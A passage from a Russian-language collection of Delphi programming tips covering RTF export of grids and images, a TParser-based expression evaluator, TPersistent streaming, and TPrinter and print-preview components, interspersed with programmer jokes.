FontTable := TStringList.Create;
end;
procedure Destroyer;
begin
RTF.Free;
FontTable.Free;
end;
function RTFHeader: string;
var
i: Integer;
begin
Creator;
RTF.Append('{\rtf1\ansi\ansicpg1252\deff0\deftab720');
RTF.Append('{\fonttbl');
for i := 0 to FontTable.count - 1 do
RTF.Append(FontTable.Strings[i]);
RTF.Append('}');
RTF.Append('{\colortbl');
RTF.Append('\red0\green0\blue0;'); {Black}
RTF.Append('\red128\green0\blue0;'); {Maroon}
RTF.Append('\red0\green128\blue0;'); {Green}
RTF.Append('\red128\green128\blue0;'); {Olive}
RTF.Append('\red0\green0\blue128;'); {Navy}
RTF.Append('\red128\green0\blue128;'); {Purple}
RTF.Append('\red0\green128\blue128;'); {Teal}
RTF.Append('\red128\green128\blue128;'); {Gray}
RTF.Append('\red192\green192\blue192;'); {Silver}
RTF.Append('\red255\green0\blue0;'); {Red}
RTF.Append('\red0\green255\blue0;'); {Lime}
RTF.Append('\red255\green255\blue0;'); {Yellow}
RTF.Append('\red0\green0\blue255;'); {Blue}
RTF.Append('\red255\green0\blue255;'); {Fuchsia}
RTF.Append('\red0\green255\blue255;'); {Aqua}
RTF.Append('\red255\green255\blue255;'); {White}
RTF.Append('}');
Result := RTF.Text;
Destroyer;
end;
function RTFFooter: string;
begin
Result := #13#10+'}}';
end;
function GridToRTF(Grid: TStringGrid): string;
var
i, j: Integer;
Temp: double;
FontColor, FontAttrib, FontSize, FontName: string;
begin
Creator;
FontColor := GetRTFFontColorTableName(Grid.Font.Color);
FontSize := GetRTFFontSize(Grid.Font.Size);
FontAttrib := GetRTFFontAttrib(Grid.Font.Style);
FontName := GetRTFFontTableName(Grid.Font.Name);
RTF.Append('\par \pard\plain\cgrid');
RTF.Append('{\stylesheet{\nowidctlpar\widctlpar\adjustright \fs20\cgrid \snext0 Normal;}');
RTF.Append('{\*\cs10 \additive Default Paragraph Font;}}');
RTF.Append('{\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang{\pntxta');
RTF.Append('.}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang');
RTF.Append('{\pntxta .}}{\*\pnseclvl3\pndec\pnstart1' +
'\pnindent720\pnhang{\pntxta');
RTF.Append('.}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang{\pntxta');
RTF.Append(')}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta');
RTF.Append(')}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang');
RTF.Append('{\pntxtb (}{\pntxta )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720'
+
'\pnhang{\pntxtb (}{\pntxta');
RTF.Append(')}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta');
RTF.Append(')}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta )}}');
for i := 0 to Grid.RowCount - 1 do
begin
RTF.Append('\trowd');
RTF.Append('\trgaph108');
RTF.Append('\trrh260');
RTF.Append('\trleft90');
RTF.Append('\trbrdrt\brdrs\brdrw10');
RTF.Append('\trbrdrl\brdrs\brdrw10');
RTF.Append('\trbrdrb\brdrs\brdrw10');
RTF.Append('\trbrdrr\brdrs\brdrw10');
RTF.Append('\trbrdrh\brdrs\brdrw10');
RTF.Append('\trbrdrv\brdrs\brdrw10');
for j := 0 to Grid.ColCount - 1 do
begin
RTF.Append('\clvertalt');
RTF.Append('\clbrdrt\brdrs\brdrw10');
RTF.Append('\clbrdrl\brdrs\brdrw10');
RTF.Append('\clbrdrb\brdrs\brdrw10');
RTF.Append('\clbrdrr\brdrs\brdrw10');
if (j < Grid.FixedCols) or (i < Grid.FixedRows) then
RTF.Append('\clcbpat8');
RTF.Append('\cltxlrtb');
Temp := (j + 1) * Grid.DefaultColWidth;
Temp := (Temp / Screen.pixelsperinch) * 1440.0 + 108.0;
RTF.Append('\cellx' + IntToStr(round(Temp)));
end;
RTF.Append('\pard\ri-123\nowidctlpar\widctlpar\intbl\adjustright');
RTF.Append(' {' + FontName + FontSize + FontAttrib + FontColor + '\cgrid0');
for j := 0 to Grid.ColCount - 1 do
RTF.Append(Grid.Cells[j, i] + '\cell ');
RTF.Append('}');
RTF.Append('\pard \nowidctlpar\widctlpar\intbl\adjustright {\row}');
end;
RTF.Append('\pard\nowidctlpar\widctlpar\adjustright {');
Result := RTF.Text;
Destroyer;
end;
function DBGridToRTF(DBGrid: TDBGrid): string;
var
j: Integer;
Temp: double;
FontColor, FontAttrib, FontSize, FontName: string;
begin
Creator;
FontColor := GetRTFFontColorTableName(DBGrid.Font.Color);
FontSize := GetRTFFontSize(DBGrid.Font.Size);
FontAttrib := GetRTFFontAttrib(DBGrid.Font.Style);
FontName := GetRTFFontTableName(DBGrid.Font.Name);
RTF.Append('\par \pard\plain\cgrid');
RTF.Append('{\stylesheet{\nowidctlpar\widctlpar\adjustright \fs20\cgrid \snext0 Normal;}');
RTF.Append('{\*\cs10 \additive Default Paragraph Font;}}');
RTF.Append('{\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang{\pntxta');
RTF.Append('.}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang');
RTF.Append('{\pntxta .}}{\*\pnseclvl3\pndec\pnstart1' +
'\pnindent720\pnhang{\pntxta');
RTF.Append('.}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang{\pntxta');
RTF.Append(')}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta');
RTF.Append(')}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang');
RTF.Append('{\pntxtb (}{\pntxta )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta');
RTF.Append(')}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta');
RTF.Append(')}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang{\pntxtb (}{\pntxta )}}');
DBGrid.DataSource.DataSet.DisableControls;
DBGrid.DataSource.DataSet.First;
while not DBGrid.DataSource.DataSet.Eof do
begin
RTF.Append('\trowd');
RTF.Append('\trgaph108');
RTF.Append('\trrh260');
RTF.Append('\trleft90');
RTF.Append('\trbrdrt\brdrs\brdrw10');
RTF.Append('\trbrdrl\brdrs\brdrw10');
RTF.Append('\trbrdrb\brdrs\brdrw10');
RTF.Append('\trbrdrr\brdrs\brdrw10');
RTF.Append('\trbrdrh\brdrs\brdrw10');
RTF.Append('\trbrdrv\brdrs\brdrw10');
Temp := 0;
for j := 0 to DBGrid.Columns.Count - 1 do
begin
RTF.Append('\clvertalt');
RTF.Append('\clbrdrt\brdrs\brdrw10');
RTF.Append('\clbrdrl\brdrs\brdrw10');
RTF.Append('\clbrdrb\brdrs\brdrw10');
RTF.Append('\clbrdrr\brdrs\brdrw10');
RTF.Append('\cltxlrtb');
Temp := Temp + DBGrid.Columns[j].Width + 1;
RTF.Append('\cellx' + IntToStr(Round((Temp / Screen.pixelsperinch * 1440.0)
+ 108.0)));
end;
RTF.Append('\pard\ri-123\nowidctlpar\widctlpar\intbl\adjustright');
RTF.Append(' {' + FontName + FontSize + FontAttrib + FontColor + '\cgrid0');
for j := 0 to DBGrid.Columns.Count - 1 do
RTF.Append(DBGrid.Columns[j].Field.DisplayText + '\cell ');
RTF.Append('}');
RTF.Append('\pard \nowidctlpar\widctlpar\intbl\adjustright {\row}');
DBGrid.DataSource.DataSet.Next;
end;
DBGrid.DataSource.DataSet.First;
DBGrid.DataSource.DataSet.EnableControls;
RTF.Append('\pard\nowidctlpar\widctlpar\adjustright {');
Result := RTF.Text;
Destroyer;
end;
function ImageToRTF(Image: TImage; Alignment: TAlignment): string;
type
PtrRec = record
Lo: Word;
Hi: Word;
end;
PHugeByteArray = ^THugeByteArray;
THugeByteArray = array[0..0] of Byte;
function GetBigPointer(lp: pointer; Offset: LongInt): Pointer;
begin
GetBigPointer := @PHugeByteArray(lp)^[Offset];
end;
var
hmf: THandle;
FCanvas: TCanvas;
lpBits: pointer;
dwSize: LongInt;
h, h1, w, w1: double;
Align: string;
pPPoint: PPoint;
pPSize: PSize;
ST: TStream;
SL: TStrings;
begin
Creator;
FCanvas := TCanvas.Create;
FCanvas.Handle := CreateMetafile(nil);
SetMapMode(FCanvas.Handle, mm_AnIsoTropic);
pPPoint := nil;
SetWindowOrgEx(FCanvas.Handle, 0, 0, pPPoint);
pPSize := nil;
SetWindowExtEx(FCanvas.Handle, Image.Width, Image.Height, pPSize);
FCanvas.StretchDraw(rect(0, 0, Image.Width, Image.Height),
Image.Picture.Graphic);
hmf := CloseMetafile(FCanvas.Handle);
dwSize := 0;
dwSize := GetMetaFileBitsEx(hmf, dwSize, nil);
GetMem(lpBits, dwSize);
GetMetaFileBitsEx(hmf, dwSize, lpBits);
h := Image.Height;
h1 := h;
w := Image.Width;
w1 := w;
h := (h / Screen.pixelsperinch) * 1440.0;
w := (w / Screen.pixelsperinch) * 1440.0;
h1 := 26.46875 * h1;
w1 := 26.46875 * w1;
Align := GetRTFAlignment(Alignment);
RTF.Append('\par \pard' + Align + '\plain\cgrid {\pict');
RTF.Append('\picscalex100');
RTF.Append('\picscaley100');
RTF.Append('\piccropl0');
RTF.Append('\piccropr0');
RTF.Append('\piccropt0');
RTF.Append('\piccropb0');
RTF.Append('\picw' + inttostr(round(w1)));
RTF.Append('\pich' + inttostr(round(h1)));
RTF.Append('\picwgoal' + inttostr(round(w)));
RTF.Append('\pichgoal' + inttostr(round(h)));
RTF.Append('\wmetafile8 \bin' + IntToStr(dwSize));
ST := TMemoryStream.Create;
ST.Write(lpBits^, dwSize);
SL := TStringList.Create;
SL.LoadFromStream(ST);
RTF.Append(SL.Text);
SL.Free;
ST.Free;
FreeMem(lpBits);
RTF.Append('}');
DeleteMetaFile(hmf);
FCanvas.Free;
Result := RTF.Text;
Destroyer;
end;
function MemoToRTF(Memo: TMemo): string;
var
i: Integer;
Align, FontColor, FontAttrib, FontSize, FontName: string;
begin
Creator;
Align := GetRTFAlignment(Memo.Alignment);
FontColor := GetRTFFontColorTableName(Memo.Font.Color);
FontSize := GetRTFFontSize(Memo.Font.Size);
FontAttrib := GetRTFFontAttrib(Memo.Font.Style);
FontName := GetRTFFontTableName(Memo.Font.Name);
RTF.Append('\par \pard' + Align + '\plain' + FontName + FontSize + FontAttrib
+ FontColor);
for i := 0 to Memo.Lines.Count - 1 do
begin
RTF.Append(' \par ' + Memo.Lines[i]);
end;
Result := RTF.Text;
Destroyer;
end;
function StringsToRTF(pStringList: TStrings; Font: TFont; Alignment:
TAlignment): string;
var
i: Integer;
Align, FontColor, FontAttrib, FontSize, FontName: string;
begin
Creator;
Align := GetRTFAlignment(Alignment);
FontColor := GetRTFFontColorTableName(Font.Color);
FontSize := GetRTFFontSize(Font.Size);
FontAttrib := GetRTFFontAttrib(Font.Style);
FontName := GetRTFFontTableName(Font.Name);
RTF.Append('\par \pard' + Align + '\plain' + FontName + FontSize + FontAttrib
+ FontColor);
for i := 0 to pStringList.Count - 1 do
RTF.Append(' \par ' + pStringList.strings[i]);
Result := RTF.Text;
Destroyer;
end;
function StringToRTF(pString: string; Font: TFont; Alignment: TAlignment):
string;
var
Align, FontColor, FontAttrib, FontSize, FontName: string;
begin
Creator;
Align := GetRTFAlignment(Alignment);
FontColor := GetRTFFontColorTableName(Font.Color);
FontSize := GetRTFFontSize(Font.Size);
FontAttrib := GetRTFFontAttrib(Font.Style);
FontName := GetRTFFontTableName(Font.Name);
RTF.Append('\par \pard' + Align + '\plain' + FontName + FontSize + FontAttrib
+ FontColor + ' ' + pString);
Result := RTF.Text;
Destroyer;
end;
end.
// Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
begin
RichEdit1.Text := RTFHeader + DBGridToRTF(DBGrid1) + RTFFooter;
end;
TPageProducer. Взаимодействие свойств HTMLDoc и HTMLFile.
Автор: Пащенко Андрей В документации Delphi 6 указано, что присвоение значения свойству HTMLDoc стирает значение HTMLFile и наоборот. Однако при установке свойства HTMLDoc через HTMLDoc.Text сохраняется и значение HTMLFile. Причем при своей работе TPageProducer воспринимает HTMLDoc как пустое значение и работает с HTMLFile.Пример:
PageProducer1.HTMLFile := 'c:\index.htm'; PageProducer1.HTMLDoc.Text := 'ýòî êàêîé-òî HTML øàáëîí'; Edit1.Text := PageProducer1.HTMLFile; Memo1.Lines.Assign(PageProducer1.HTMLDoc); |
Решением данной проблемы является непосредственное присвоение пустой строки свойству HTMLFile.
PageProducer1.HTMLFile := ''; |
Delphi 5 ведет себя абсолютно аналогично. Документированное поведение наблюдается только в design-time. Может быть, это и имелось ввиду в Help?
TPaintBox в буфер обмена.
Автор: Xavier Pacheco
var
pbRect: TRect;
begin
pbRect := Rect(0, 0, PaintBox1.Width, PaintBox1.Height);
BitMap := TBitMap.Create;
try
Bitmap.Width := PaintBox1.Width;
Bitmap.Height := PaintBox1.Height;
BitMap.Canvas.CopyRect(pbRect, PaintBox1.Canvas, pbRect);
ClipBoard.Assign(BitMap);
finally
BitMap.Free;
end;
end;
|
Как сохранить содержимое TPaintBox в BMP.
| Программист смотрит фильм "Чужой": - Ну запишись же, запишись. |
var
Bitmap: TBitmap;
Source: TRect;
Dest: TRect;
begin
Bitmap := TBitmap.Create;
try
with Bitmap do
begin
Width := MyPaintBox.Width;
Height := MyPaintBox.Height;
Dest := Rect(0, 0, Width, Height);
end;
with MyPaintBox do
Source := Rect(0, 0, Width, Height);
Bitmap.Canvas.CopyRect(Dest, MyPaintBox.Canvas, Source);
Bitmap.SaveToFile('MYFILE.BMP');
finally
Bitmap.Free;
end;
end;
|
Недокументированный TParser.
Автор: Mike Scott ... тем не менее я хотел бы знать как это работает (при возможности точный синтаксис), так как я еще не получил свою копию Delphi и на руках у меня только часть электронной документации, где ни слова не сказано про Tparser. Я не думаю, что смогу вам здесь дать полное описание того, как работает TParser. Тем не менее, я дам вам несколько важных замечаний. При этом я допускаю, что у вас есть файл CLASSES.INT, описывающий интерфейс анализатора. В основном вы открываете поток и передаете это конструктору парсера. Затем вы можете изучать свойство Token, которое будет или символом, представляющим из себя один из четырех лексических признаков (плюс пятый EOF), или следующий символ в потоке, если следующим идет символ, не относящийся ни к одному из вышеописанных. Специальные символы имеют следующие значения:toEOF = Char(0); toSymbol = Char(1); toString = Char(2); toInteger = Char(3); toFloat = Char(4);В зависимости от значения, для получения элемента вы вызываете соответствующий. Например, если Token = toString, то фактический элемент строки извлекается с помощью вызова TokenString. Если это toInteger, то вызывайте TokenInt и т.д.. Для получения следуюшего символа вызывайте NextToken, который возвратит его значение.
Я надеюсь, что при получении вашей копии Delphi вы найдете ответы на остальные ваши вопросы.
Пример TParser.
Автор: Mike Scott (Mobius Ltd) С интересом прочли ваш совет про TParser. Может вы смогли бы нам еще немного помочь советом? Нам необходимо вычислить математическое выражение с применением стандартных механизмов (приоритеты, порядок и т.д.). Это возможно с помощью TParser? Или придется все делать ручками? На самом деле TParser не является синтаксическим анализатором, скорее это лексический анализатор, или сканер. Или, другими словами, входной поток признаков (tokens) в ASCII-коде. Вы довольно легко можете использовать эти "признаки" для парсирования выражения, используя простую рекурсию. Сделав это, вы можете произвести разбор вашего математического выражения практически любой сложности. TParser вам поможет, но рекурсивный анализатор придется создавать ручками. ...простой пример, который мы хотим парсировать: (23.34 + 21.21) * 2.92 - 12.21 * sin (180) * -1 Вот пример синтаксического анализатора выражений, наследника TParser, который может разобрать вышеуказанное выражение. Он использует следующие определения для выражений:
Expr ::= Term + Expr | Term - Expr | Term
Term ::= Factor * Term | Factor / Term | Factor
Factor ::= + Item | - Item | Item
Item ::= ( Expr ) | Fn( Expr ) | Number
Fn ::= Sin | Cos
Number ::= floating point literal number (плавающая точка литерала числа)
Далее идет модуль и форма, показывающие как это можно использовать. Вы должны скопировать текст формы в окно редактора Delphi и сохранить как DFM-файл. Мои расчеты вашего выражения привели к результату 130.086 - это правильно?
Примечание: TParser имеет ошибку в подпрограмме парсирования плавающего числа. Любое сочетание символов с символами '+' или '-' воспринимается как часть плавающего числа, поскольку 1e+3 корректное выражение. Естественно, это должно быть правильным только в совокупности с символом 'e'. Поэтому вы должны убедиться, что перед символами '+' и '-' имеется хотя бы один пробел, как показано в вашем выражении. Вы можете это исправить (если у вас есть исходный код VCL), редактируя функцию TParser.NextToken.
Скопируйте поочередно три приведенных ниже файла и вставьте их в окно редактора Delphi. Самый простой способ - закройте все открытые проекты и создайте новый модуль. Выделите весь текст, сгенерированный Delphi и вставьте текст модуля ExpParse. Сохраните его под именем ExpParse.pas. Затем создайте другой модуль, перенесите в него EvalForm.pas и также сохраните. Снова закройте файл и создайте новый модуль. Вставьте в него EvalForm.dfm и сохраните, выбрав меню "Save as" и отметив в списке тип файла DFM. Затем создайте новый проект, удалите форму, созданную по умолчанию и добавьте файл EvalForm.pas.
// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
unit ExpParse;
interface
uses Classes;
{ Набор парсируемых элементов определяется как подмножество
выражений Delphi Object Pascal, подобно этому:
Expr ::= Term + Expr | Term - Expr | Term
Term ::= Factor * Term | Factor / Term | Factor
Factor ::= + Item | - Item | Item
Item ::= ( Expr ) | Fn( Expr ) | Number
Fn ::= Sin | Cos | другое...
Number ::= floating point literal number (плавающая точка литерала числа)
}
type
TExpressionParser = class(TParser)
protected
function SkipToken(Value: char): boolean;
function EvalItem: double; virtual;
function EvalFactor: double; virtual;
function EvalTerm: double; virtual;
public
function EvalExpr: double;
end;
implementation
uses SysUtils;
function TExpressionParser.SkipToken(Value: char): boolean;
begin
{ возвращаем истину, если текущий признак Value,
и если так, то получаем следующий признак }
Result := Token = Value;
if Result then
NextToken;
end;
function TExpressionParser.EvalItem: double;
var
Expr: double;
Fn: integer;
begin
case Token of
toInteger: Result := TokenInt;
toFloat: Result := TokenFloat;
'(':
begin
NextToken;
Result := EvalExpr;
CheckToken(')');
end;
toSymbol:
begin
if CompareText(TokenString, 'SIN') = 0 then
Fn := 1
else if CompareText(TokenString, 'COS') = 0 then
Fn := 2
else
raise EParserError.CreateFmt('Неизвестный элемент "%s"', [TokenString]
);
NextToken;
CheckToken('(');
NextToken;
Expr := EvalExpr;
CheckToken(')');
case Fn of
1: Result := SIN(Expr);
2: Result := COS(Expr);
end;
end;
else
raise EParserError.CreateFmt('Неожидаемый символ "%s"', [Token]);
end;
NextToken;
end;
function TExpressionParser.EvalFactor: double;
begin
case Token of
'+':
begin
NextToken;
Result := EvalItem;
end;
'-':
begin
NextToken;
Result := -EvalItem;
end;
else
Result := EvalItem;
end;
end;
function TExpressionParser.EvalTerm: double;
var
AToken: char;
begin
Result := EvalFactor;
if SkipToken('*') then
Result := Result * EvalTerm
else if SkipToken('/') then
Result := Result / EvalTerm;
end;
function TExpressionParser.EvalExpr: double;
begin
Result := EvalTerm;
if SkipToken('+') then
Result := Result + EvalExpr
else if SkipToken('-') then
Result := Result - EvalExpr;
end;
end.
// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
unit EvalForm;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, ExpParse;
type
TForm1 = class(TForm)
Edit1: TEdit;
Label1: TLabel;
Button1: TButton;
Label2: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
s: string;
MemStream: TMemoryStream;
ExpressionParser: TExpressionParser;
begin
{ get the string to evaluate }
s := Edit1.Text;
{ создаем поток для работы с памятью, содержащий текст -
TParser может разбирать выражения из потока}
MemStream := TMemoryStream.Create;
try
MemStream.SetSize(Length(s));
MemStream.WriteBuffer(s[1], Length(s));
MemStream.Position := 0;
{ создаем анализатор выражения, используя поток }
ExpressionParser := TExpressionParser.Create(MemStream);
try
Label2.Caption := Format('Результат=%g', [ExpressionParser.EvalExpr]
);
finally
ExpressionParser.Free;
end;
finally
MemStream.Free;
end;
end;
end.
// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
object Form1: TForm1
Left = 216
Top = 102
Width = 433
Height = 300
Caption = 'Form1'
Font.Color = clWindowText
Font.Height = -13
Font.Name = 'System'
Font.Style = []
PixelsPerInch = 96
TextHeight = 16
object Label1: TLabel
Left = 8
Top = 8
Width = 74
Height = 16
Caption = 'Выражение'
end
object Label2: TLabel
Left = 120
Top = 72
Width = 297
Height = 16
AutoSize = False
Caption = 'Результат='
end
object Edit1: TEdit
Left = 8
Top = 27
Width = 409
Height = 24
TabOrder = 0
Text = '(23.34 + 21.21) * 2.92 - 12.21 * sin (180) * -1'
end
object Button1: TButton
Left = 8
Top = 64
Width = 89
Height = 33
Caption = 'Оценка'
default = True
TabOrder = 1
OnClick = Button1Click
end
end
|
Запись и чтение объекта TPersistent в поток.
Автор: Mystic WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Запись/чтение объекта TPersistent в поток
Пара функций, выполняющих запись/чтение объекта,
порожденного от TPersistent, в поток.
ВНИМАНИЕ! Код этих процедур основан на VCL пятой версии Delphi.
Вполне возможно, что в последующих версиях Delphi он работать не будет!
Зависимости: Classes
Автор: Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright: (c) Mystic
Дата: 25 января 2003 г.
***************************************************** }
unit PersistentIO;
interface
uses Classes;
procedure WritePersistent(S: TStream; Instance: TPersistent);
procedure ReadPersistent(S: TStream; Instance: TPersistent);
implementation
type
TMyWriter = class(TWriter)
public
procedure WritePersistent(Instance: TPersistent);
end;
procedure TMyWriter.WritePersistent(Instance: TPersistent);
begin
WriteProperties(Instance);
WriteListEnd;
end;
type
TMyReader = class(TReader)
public
procedure ReadPersistent(Instance: TPersistent);
end;
procedure TMyReader.ReadPersistent(Instance: TPersistent);
begin
while not EndOfList do
ReadProperty(Instance);
ReadListEnd;
end;
procedure WritePersistent(S: TStream; Instance: TPersistent);
var
Writer: TMyWriter;
begin
Writer := TMyWriter.Create(S, 4096);
try
Writer.WritePersistent(Instance);
finally
Writer.Free;
end;
end;
procedure ReadPersistent(S: TStream; Instance: TPersistent);
var
Reader: TMyReader;
begin
Reader := TMyReader.Create(S, 4096);
try
Reader.ReadPersistent(Instance);
finally
Reader.Free;
end;
end;
end.
Массив TPOINT.
Const ptarr : Array[0..4] Of TPoint = ((x:0; y:4), . . (x:4; y:4)); |
Редактор свойств для точки.
Автор: Mike Scott TPoint не имеет информацию о типе, следовательно, вы не можете зарегистрировать для него редактор свойства. Вы можете иметь редактор свойств только для строк, реальных, порядковых чисел или указателей на объекты. Дело в том, что редактор свойств имеет только следующие методы, чтобы иметь доступ к свойствам через RTTI:GetValue/SetValue для строк (strings) GetFloatValue/SetFloatValue для натуральных чисел (floats) GetOrdValue/SetOrdValue для порядковых (и указателей)
Решением может быть создание класса TPersistentPoint, являющегося наследником TPersistent и имеющего те же свойства, что и TPoint. Вы можете просто "обернуть" TPoint для хранения значений, или создать явные поля. Непосредственное использование TPoint сделает использование метода Assign легким и быстрым для кодирования. Для процедур чтения и записи вы можете использовать поля записи, как показано ниже:
type
TPersistentPoint = class( TPersistent )
private
FPoint: TPoint ;
published
property X : integer read FPoint.X write FPoint.X ;
property Y : integer read FPoint.Y write FPoint.Y ;
end ;
|
Компонент TPowerSock.
| Звонит браток в компютерный магазин: - Але, козлы, че вы мне за комп продали!? Не работает! - А вы кнопку "power" на нём нажали? - Да я её два раза нажал, всё равно не работает! |
Компонент TPOWERSOCK является базовым классом для многих компонентом инструментальной панели FastNet. Вы можете так же использовать его как базовый класс для создания компонентов, использующих другие стандартные протоколы либо ваши собственные протоколы.
Разработчики не советуют использовать этот компонент сам по себе, а рекомендуют использовать его только как базовый класс и строить на его основе новые компоненты.
Если вы собираетесь создавать новые компоненты на основе компонента TPOWERSOCK, вам следует изучить исходный код этого компонента и более детально ознакомиться с его работой. Если у вас нет исходных кодов для компонентов из панели FastNet, зайдите на WEB-сайт компании NetMasters по адресу http://www.netmasters.com, где вы узнаете как их можно получить.
Компонент TPreview.
Оформил: DeeCo
Автор: Рустам Кафаров.
Уважаемые жители Королевства, вашему вниманию предлагается компонент TPreview (версия 3.0). Разработан и проверен на Delphi 5. Компонент полностью бесплатный и с исходными кодами.Всем жителям Королевства, которых интересует рассматриваемая тема, предлагается принять участие в тестировании компонента.
Этот невизуальный компонент предназначен для вывода графической информации на принтер. Преимущества перед использованием стандартного объекта TPrinter в том, что координаты задаются не в пикселях, а в миллиметрах или дюймах; существует удобное окно преварительного просмотра (котрое можно переопределить), позволяющее просматривать содержимое в любом масштабе. Правильное масштабирование под любой принтер с любым разрешением происходит автоматически. Дополнительные возможности: рисование градиентными кистями и рисование регионов сохранение/загрузка в файлы; экспорт в BMP-, EMF-, JPG-форматы. Замеченные недостатки: Скорость прорисовки в окне предосмотра падает при увеличении масштаба. Не поддерживается различная ориентация на отдельных страницах (Михаил) Не поддерживается просмотр на двух страницах одновременно (Михаил) возникает ошибка при создании компонента, если не установлен текущий принтер (Kambiz Khojasteh) Документация и пример прилагается на домашней странице автора.Скачать компонент:
С домашней страницы автора: Компонент с иходными кодами (52К) Помощь в формате chm (107К) Сервер Торри: http://www.torry.net/vcl/print/previews/rkprintpreview.zip (580K) Архивы Королевства: http://delphi.mtu-net.ru/zip/rkprintpreview.zip (580К)Класс TPrinter.
| Разговаривают два друга о компах, и разговор зашел про Билла Гейтса и его компе: - Интересно, какая у Билла Гейтса видюха? - Какая-нибудь Джи-Форс, последней модели... - Хм, а какой у него камень? Пент 5-й? - Такого еще не продают... - А у него уже есть... - Хе, и стоят у него Линуха! |
PROPERTY
Aborted:boolean - Показывает, что процесс печати прерван Canvas:Tcanvas - Стандартный Canvas, как у любого графического объекта. Он позволяет рисовать на листе бумаге графику, выводить текст ... . Тут есть несколько особенностей, они описаны после описания объекта. Fonts:Tstrings - Возвращает список шрифтов, поддерживаемых принтером Handle:HDS - Получить Handle на принтер для использования функций API (см. Далее) Orientation:TprinterOrientation - Ориентация листа при печати : (poPortrait, poLandscape) PageHeight:integer - Высота листа в пикселах PageNumber:integer - Номер страницы, увеличивается на 1 при каждом NewPage PageWidth:integer - Ширина листа в пикселах PrinterIndex:integer - Номер используемого принтера по списку доступных принтеров Printers Printers:Tstrings - Список доступных принтеров Printing:boolean - Флаг, показывающий, что сейчас идет процесс печати Title:string - Имя документа или приложения. Под этим именем задание на печать регистрируется в диспетчере печатиMETODS
AssignPrn(f:TextFile) - Связать текстовый файл с принтером. Далее вывод информации в этот файл приводит к ее печати. Удобно в простейших случаях. Abort - Сбросить печать BeginDoc - Начать печать NewPage - Начать новую страницу EndDoc - Завершить печать.Пример :
Procedure TForm1.Button1Click(Sender: TObject); Begin With Printer do Begin // Начало печати BeginDoc; // Задали шрифт Canvas.Font:=label1.font; // Печатаем текст Canvas.TextOut(100,100,'Delphi World - лучше всех !!! :) '); // Конец печати EndDoc; end; end; |
Пример использования TPrinter.
Автор: Jeff Fisher Может ли мне кто-либо сказать, как с помощью TPrinter сделать следующее?: Замена исходного Paper Bin страницей. Создание отчета, который нужно переключать между двумя бункерами (некоторым страницам отчета нужно работать с другим бункером, например бланки писем и пр.). Печать нескольких копий отчета. Для этого желательно использовать диалог настройки принтера, но это, похоже, не работает.То, что вы собираетесь делать, возможно с помощью структуры TDevMode, получив к которой доступ, можно делать необходимые вам изменения. Структура TDevMode имеет все необходимые для настройки принтера поля и позволяет сделать любые настройки не обращаясь к диалогу настройки принтера.Вот пример одного из моих компонентов, инкапсулирующий вышесказанную функциональность:
procedure TCrpePrinter.GetCurrentPrinter;
var
lpDevice: PChar;
lpDriver: PChar;
lpPort: PChar;
Handle: THandle;
begin
lpDevice := StrAlloc(255);
lpDriver := StrAlloc(255);
lpPort := StrAlloc(255);
try
Printer.GetPrinter(lpDevice, lpDriver, lpPort, Handle);
if Handle <> 0 then
{ если это не 0, то мы имеем указатель на структуру устройства}
begin
FDevMode := Ptr(Handle, 0); {Получаем дескриптор структуры устройства}
FDevice := StrPas(lpDevice);
FDriver := StrPas(lpDriver);
FPort := StrPas(lpPort);
end
else
begin
Printer.PrinterIndex := Printer.PrinterIndex;
{Этим мы пытаемся осуществить инициализацию}
Printer.GetPrinter(lpDevice, lpDriver, lpPort, Handle);
if Handle <> 0 then
begin
FDevMode := Ptr(Handle, 0);
FDevice := StrPas(lpDevice);
FDriver := StrPas(lpDriver);
FPort := StrPas(lpPort);
end
else
begin
FDevMode := nil;
raise ECrpe.Create('Ошибка загрузки драйвера принтера');
end;
end;
finally
StrDispose(lpDevice);
StrDispose(lpDriver);
StrDispose(lpPort);
end;
end;
|
Изменение лотка и количества копий:
dmCopies := 2;
dmDefaultSource := 2; {Нижний лоток}
|
Как только вы получите указатель на структуру devmode, вы вправе делать изменения любых полей. Говорят, могут быть проблемы при изменении лотков во время печати, но сам я не пробовал менять эти поля в структуре DevMode.
Особенности работы с TPrinter.
